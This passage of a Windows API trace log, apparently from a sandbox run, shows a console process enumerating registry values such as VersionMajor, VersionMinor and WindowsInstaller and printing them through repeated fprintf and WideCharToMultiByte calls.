fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.721] __iob_func () returned 0x7fefd702a80 [0147.721] _fileno (_File=0x7fefd702ab0) returned 1 [0147.721] _errno () returned 0xc4bb0 [0147.721] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.721] _errno () returned 0xc4bb0 [0147.721] GetFileType (hFile=0x50) returned 0x1 [0147.721] lstrlenW (lpString=" ") returned 4 [0147.721] GetConsoleOutputCP () returned 0x1b5 [0147.721] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.721] GetConsoleOutputCP () returned 0x1b5 [0147.721] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.721] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.721] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.721] __iob_func () returned 0x7fefd702a80 [0147.721] _fileno (_File=0x7fefd702ab0) returned 1 [0147.721] _errno () returned 0xc4bb0 [0147.721] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.721] _errno () returned 0xc4bb0 [0147.721] GetFileType (hFile=0x50) returned 0x1 [0147.721] lstrlenW (lpString="REG_SZ") returned 6 [0147.721] GetConsoleOutputCP () returned 0x1b5 [0147.721] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.722] GetConsoleOutputCP () returned 0x1b5 [0147.722] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.722] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.722] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.722] __iob_func () returned 0x7fefd702a80 [0147.722] _fileno (_File=0x7fefd702ab0) returned 1 [0147.722] _errno () returned 0xc4bb0 [0147.722] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.722] _errno () returned 0xc4bb0 [0147.722] GetFileType (hFile=0x50) returned 0x1 [0147.722] lstrlenW (lpString=" ") returned 4 [0147.722] GetConsoleOutputCP () returned 0x1b5 [0147.722] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.722] GetConsoleOutputCP () returned 0x1b5 [0147.722] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.722] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.722] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.722] __iob_func () returned 0x7fefd702a80 [0147.722] _fileno (_File=0x7fefd702ab0) returned 1 [0147.722] _errno () returned 0xc4bb0 [0147.722] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.722] _errno () returned 0xc4bb0 [0147.722] GetFileType (hFile=0x50) returned 0x1 [0147.722] lstrlenW (lpString="") returned 0 [0147.723] __iob_func () returned 0x7fefd702a80 [0147.723] _fileno (_File=0x7fefd702ab0) returned 1 [0147.723] _errno () returned 0xc4bb0 [0147.723] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.723] _errno () returned 0xc4bb0 [0147.723] GetFileType (hFile=0x50) returned 0x1 [0147.723] lstrlenW (lpString="\n") returned 1 [0147.723] GetConsoleOutputCP () returned 0x1b5 [0147.723] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.723] GetConsoleOutputCP () returned 0x1b5 [0147.723] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.723] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.723] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.723] GetProcessHeap () returned 0x2e0000 [0147.723] GetProcessHeap () returned 0x2e0000 [0147.723] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.723] GetProcessHeap () returned 0x2e0000 [0147.723] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.723] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.723] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.723] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.723] GetProcessHeap () returned 0x2e0000 [0147.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.723] GetProcessHeap () returned 0x2e0000 [0147.723] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.723] GetProcessHeap () returned 0x2e0000 [0147.724] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.724] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x10, pcbData=0x23f670*=0x4) returned 0x0 [0147.724] __iob_func () returned 0x7fefd702a80 [0147.724] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.724] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.724] _fileno (_File=0x7fefd702ab0) returned 1 [0147.724] _errno () returned 0xc4bb0 [0147.724] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.724] _errno () returned 0xc4bb0 [0147.724] GetFileType (hFile=0x50) returned 0x1 [0147.724] lstrlenW (lpString=" ") returned 4 [0147.724] GetConsoleOutputCP () returned 0x1b5 [0147.724] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.724] GetConsoleOutputCP () returned 0x1b5 [0147.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.725] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.725] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.725] lstrlenW (lpString="VersionMajor") returned 12 [0147.725] __iob_func () returned 0x7fefd702a80 [0147.725] _fileno (_File=0x7fefd702ab0) returned 1 [0147.725] _errno () returned 0xc4bb0 [0147.725] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.725] _errno () returned 0xc4bb0 [0147.725] GetFileType (hFile=0x50) returned 0x1 [0147.725] lstrlenW (lpString="VersionMajor") returned 12 [0147.725] GetConsoleOutputCP () returned 0x1b5 [0147.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.725] GetConsoleOutputCP () returned 0x1b5 [0147.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0147.725] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.725] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.725] __iob_func () returned 0x7fefd702a80 [0147.725] _fileno (_File=0x7fefd702ab0) returned 1 [0147.725] _errno () returned 0xc4bb0 [0147.725] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.725] _errno () returned 0xc4bb0 [0147.725] GetFileType (hFile=0x50) returned 0x1 [0147.725] lstrlenW (lpString=" ") returned 4 [0147.726] GetConsoleOutputCP () returned 0x1b5 [0147.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.726] GetConsoleOutputCP () returned 0x1b5 [0147.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.726] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.726] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.726] __iob_func () returned 0x7fefd702a80 [0147.726] _fileno (_File=0x7fefd702ab0) returned 1 [0147.726] _errno () returned 0xc4bb0 [0147.726] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.726] _errno () returned 0xc4bb0 [0147.726] GetFileType (hFile=0x50) returned 0x1 [0147.726] lstrlenW (lpString="REG_DWORD") returned 9 [0147.726] GetConsoleOutputCP () returned 0x1b5 [0147.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.726] GetConsoleOutputCP () returned 0x1b5 [0147.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.726] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.726] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.727] __iob_func () returned 0x7fefd702a80 [0147.727] _fileno (_File=0x7fefd702ab0) returned 1 [0147.727] _errno () returned 0xc4bb0 [0147.727] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.727] _errno () returned 0xc4bb0 [0147.727] GetFileType (hFile=0x50) returned 0x1 [0147.727] lstrlenW (lpString=" ") returned 4 [0147.727] GetConsoleOutputCP () returned 0x1b5 [0147.727] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.727] GetConsoleOutputCP () returned 0x1b5 [0147.727] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.727] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.727] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.727] __iob_func () returned 0x7fefd702a80 [0147.727] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.727] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x10") returned 4 [0147.727] _fileno (_File=0x7fefd702ab0) returned 1 [0147.727] _errno () returned 0xc4bb0 [0147.727] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.727] _errno () returned 0xc4bb0 [0147.727] GetFileType (hFile=0x50) returned 0x1 [0147.727] lstrlenW (lpString="0x10") returned 4 [0147.727] GetConsoleOutputCP () returned 0x1b5 [0147.727] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x10", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.728] GetConsoleOutputCP () returned 0x1b5 [0147.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x10", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x10", lpUsedDefaultChar=0x0) returned 4 [0147.728] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.728] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.728] __iob_func () returned 0x7fefd702a80 [0147.728] _fileno (_File=0x7fefd702ab0) returned 1 [0147.728] _errno () returned 0xc4bb0 [0147.728] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.728] _errno () returned 0xc4bb0 [0147.728] GetFileType (hFile=0x50) returned 0x1 [0147.728] lstrlenW (lpString="\n") returned 1 [0147.728] GetConsoleOutputCP () returned 0x1b5 [0147.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.728] GetConsoleOutputCP () returned 0x1b5 [0147.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.728] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.728] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.728] GetProcessHeap () returned 0x2e0000 [0147.728] GetProcessHeap () returned 0x2e0000 [0147.728] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.728] GetProcessHeap () returned 0x2e0000 [0147.728] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.729] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.729] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.729] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.729] GetProcessHeap () returned 0x2e0000 [0147.729] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.729] GetProcessHeap () returned 0x2e0000 [0147.729] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.729] GetProcessHeap () returned 0x2e0000 [0147.729] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.729] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.729] __iob_func () returned 0x7fefd702a80 [0147.729] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.729] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.729] _fileno (_File=0x7fefd702ab0) returned 1 [0147.729] _errno () returned 0xc4bb0 [0147.729] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.729] _errno () returned 0xc4bb0 [0147.729] GetFileType (hFile=0x50) returned 0x1 [0147.729] lstrlenW (lpString=" ") returned 4 [0147.729] GetConsoleOutputCP () returned 0x1b5 [0147.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.730] GetConsoleOutputCP () returned 0x1b5 [0147.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.730] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.730] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.730] lstrlenW (lpString="VersionMinor") returned 12 [0147.730] __iob_func () returned 0x7fefd702a80 [0147.730] _fileno (_File=0x7fefd702ab0) returned 1 [0147.730] _errno () returned 0xc4bb0 [0147.730] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.730] _errno () returned 0xc4bb0 [0147.730] GetFileType (hFile=0x50) returned 0x1 [0147.730] lstrlenW (lpString="VersionMinor") returned 12 [0147.730] GetConsoleOutputCP () returned 0x1b5 [0147.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.730] GetConsoleOutputCP () returned 0x1b5 [0147.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0147.730] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.730] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.730] __iob_func () returned 0x7fefd702a80 [0147.731] _fileno (_File=0x7fefd702ab0) returned 1 [0147.731] _errno () returned 0xc4bb0 [0147.731] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.731] _errno () returned 0xc4bb0 [0147.731] GetFileType (hFile=0x50) returned 0x1 [0147.731] lstrlenW (lpString=" ") returned 4 [0147.731] GetConsoleOutputCP () returned 0x1b5 [0147.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.731] GetConsoleOutputCP () returned 0x1b5 [0147.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.731] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.731] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.731] __iob_func () returned 0x7fefd702a80 [0147.731] _fileno (_File=0x7fefd702ab0) returned 1 [0147.731] _errno () returned 0xc4bb0 [0147.731] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.731] _errno () returned 0xc4bb0 [0147.731] GetFileType (hFile=0x50) returned 0x1 [0147.731] lstrlenW (lpString="REG_DWORD") returned 9 [0147.731] GetConsoleOutputCP () returned 0x1b5 [0147.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.731] GetConsoleOutputCP () returned 0x1b5 [0147.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.732] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.732] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.732] __iob_func () returned 0x7fefd702a80 [0147.732] _fileno (_File=0x7fefd702ab0) returned 1 [0147.732] _errno () returned 0xc4bb0 [0147.732] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.732] _errno () returned 0xc4bb0 [0147.732] GetFileType (hFile=0x50) returned 0x1 [0147.732] lstrlenW (lpString=" ") returned 4 [0147.732] GetConsoleOutputCP () returned 0x1b5 [0147.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.732] GetConsoleOutputCP () returned 0x1b5 [0147.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.732] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.732] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.732] __iob_func () returned 0x7fefd702a80 [0147.732] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.732] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.732] _fileno (_File=0x7fefd702ab0) returned 1 [0147.732] _errno () returned 0xc4bb0 [0147.732] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.732] _errno () returned 0xc4bb0 [0147.732] GetFileType (hFile=0x50) returned 0x1 [0147.732] lstrlenW (lpString="0x0") returned 3 [0147.733] GetConsoleOutputCP () returned 0x1b5 [0147.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.733] GetConsoleOutputCP () returned 0x1b5 [0147.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.733] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.733] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.733] __iob_func () returned 0x7fefd702a80 [0147.733] _fileno (_File=0x7fefd702ab0) returned 1 [0147.733] _errno () returned 0xc4bb0 [0147.733] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.733] _errno () returned 0xc4bb0 [0147.733] GetFileType (hFile=0x50) returned 0x1 [0147.733] lstrlenW (lpString="\n") returned 1 [0147.733] GetConsoleOutputCP () returned 0x1b5 [0147.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.733] GetConsoleOutputCP () returned 0x1b5 [0147.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.733] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.733] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.734] GetProcessHeap () returned 0x2e0000 [0147.734] GetProcessHeap () returned 0x2e0000 [0147.734] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.734] GetProcessHeap () returned 0x2e0000 [0147.734] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.734] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.734] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.734] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | 